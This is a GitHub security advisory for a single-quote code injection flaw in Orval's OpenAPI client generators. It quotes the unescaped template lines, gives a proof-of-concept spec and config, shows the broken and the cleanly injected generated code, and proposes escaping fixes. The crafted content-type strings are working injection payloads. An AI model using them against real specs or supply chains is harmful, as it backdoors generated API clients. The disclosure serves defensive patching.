Skip to main content
Menu
Advisories

@orval/fetch code injection

GHSA-RCPR-MQ4M-JX9JPublished Updated GitHub

Description

Orval Generators: Unescaped Single-Quote Injection via Request Body Content Type Key

Summary

@orval/fetch@8.28.1, and any generator using generateMutatorConfig from @orval/core@8.28.1 (including @orval/solid-start with mutator, @orval/axios with mutator, @orval/angular with mutator), embeds the OpenAPI requestBody.content media type key — the MIME type string — into generated TypeScript code inside single-quoted string literals without escaping single quotes. A single quote (') in a spec content type key terminates the string literal, producing syntactically broken TypeScript and allowing arbitrary code injection into generated files.

This is a sibling of the path-segment injection CVEs patched in v8.21.0. The same fix pattern (jsStringLiteralEscape) was applied to path strings but not to content type strings.

Affected packages and version

@orval/fetch@8.28.1, @orval/solid-start@8.28.1 (mutator path), @orval/core@8.28.1 (all generators using generateMutatorConfig)

Vulnerable sites

Site 1: @orval/fetch — generateImplementation headers object

// @orval/fetch/dist/index.mjs, line 215-218
const ignoreContentTypes = ["multipart/form-data"];
...body.contentType && !ignoreContentTypes.includes(body.contentType)
  ? [`'Content-Type': '${body.contentType}'`]   // no escape
  : [],

body.contentType is the raw media type key from requestBody.content in the OpenAPI spec. Any content type not equal to "multipart/form-data" passes through. A ' in the media type string terminates the string literal.

Site 2: @orval/core generateMutatorConfig — Axios/Angular/solid-start mutator headers

// @orval/core/dist/index.mjs, line 6476
const headerOptions = body.contentType && !ignoreContentTypes.includes(body.contentType)
  ? `,\n      headers: {'Content-Type': '${body.contentType}', ${headers ? "...headers" : ""}}`  // no escape
  : ...

Used when a custom mutator is configured in any generator. ignoreContentTypes for non-Angular is empty ([]) — every content type passes through.

Site 3: @orval/solid-start — mutator path headers

// @orval/solid-start/dist/index.mjs, line 79-82 (inside `if (mutator)` branch)
const ignoreContentTypes = ["multipart/form-data"];
...body.contentType && !ignoreContentTypes.includes(body.contentType)
  ? [`'Content-Type': '${body.contentType}'`]   // no escape
  : [],

Identical pattern to the fetch site, only reachable when a mutator is configured.

Runtime PoC

Environment

orval@8.28.1 (npm)
@orval/fetch@8.28.1 (npm)
node v22.22.2

Spec (contenttype_injection.yaml)

openapi: "3.0.0"
info:
  version: 1.0.0
  title: ContentType Injection PoC
paths:
  /api/submit:
    post:
      operationId: submitData
      requestBody:
        required: true
        content:
          "application/json; charset='utf-8', 'X-Injected': 'pwned":
            schema:
              type: object
              properties:
                data:
                  type: string
      responses:
        '200':
          description: OK

Config (orval.config.ts)

import { defineConfig } from 'orval';
export default defineConfig({
  poc: {
    output: { mode: 'single', target: 'src/generated.ts', client: 'fetch' },
    input: { target: './contenttype_injection.yaml' },
  },
});

Execution

$ bun x orval --config ./orval.config.ts
🍻 orval v8.28.1 - A swagger client generator for typescript
🎉 poc - Your OpenAPI spec has been converted into ready to use orval!

No error. Code generation succeeds.

Generated src/generated.ts

export const submitData = async (submitDataBody: SubmitDataBody, options?: RequestInit): Promise<submitDataResponse> => {
  const res = await fetch(getSubmitDataUrl(),
  {
    ...options,
    method: 'POST',
    headers: { 'Content-Type': 'application/json; charset='utf-8', 'X-Injected': 'pwned', ...getHeaders(options?.headers) },
    body: JSON.stringify(submitDataBody)
  }
)

The ' in charset=' terminates the string literal. Everything after it — utf-8', 'X-Injected': 'pwned' — is outside the string and parsed as separate tokens, producing broken TypeScript.

Clean injection demo

For content type "application/json', 'X-Evil': 'injected", the generated code is:

headers: { 'Content-Type': 'application/json', 'X-Evil': 'injected', ...getHeaders(options?.headers) },

This is syntactically valid TypeScript that compiles and runs, with 'X-Evil': 'injected' appearing as a legitimate-looking header — useful for backdooring generated API clients.

Impact

Any project using @orval/fetch, or using @orval/solid-start, @orval/axios, or @orval/angular with a custom mutator, that runs orval against an OpenAPI spec containing ' in a requestBody.content media type key will receive generated code with broken string literals. In environments using esbuild, swc, or babel (which do not enforce TypeScript type-checking before emit), injected JavaScript expressions may execute at runtime.

The attack vector is any externally-controlled OpenAPI spec — a third-party API definition, a tampered remote spec URL, or a supply-chain compromise of a spec dependency.

Contrast with the secured path

The original GHSA-* CVEs (patched in v8.21.0) introduced jsStringLiteralEscape for path segments. The same function is already imported in the relevant packages and could be applied here:

Site 1 fix (@orval/fetch):

[`'Content-Type': '${jsStringLiteralEscape(body.contentType)}'`]

Site 2 fix (@orval/core generateMutatorConfig):

`headers: {'Content-Type': '${jsStringLiteralEscape(body.contentType)}', ...}`

Site 3 fix (@orval/solid-start):

[`'Content-Type': '${jsStringLiteralEscape(body.contentType)}'`]

jsStringLiteralEscape is already available in @orval/core and imported by the affected packages.

Timeline

  • 2026-09-05: Vulnerability discovered
  • 2026-09-05: Reported to orval-labs via GitHub PVRT

Affected versions

References

GitHub · orval-labs/orval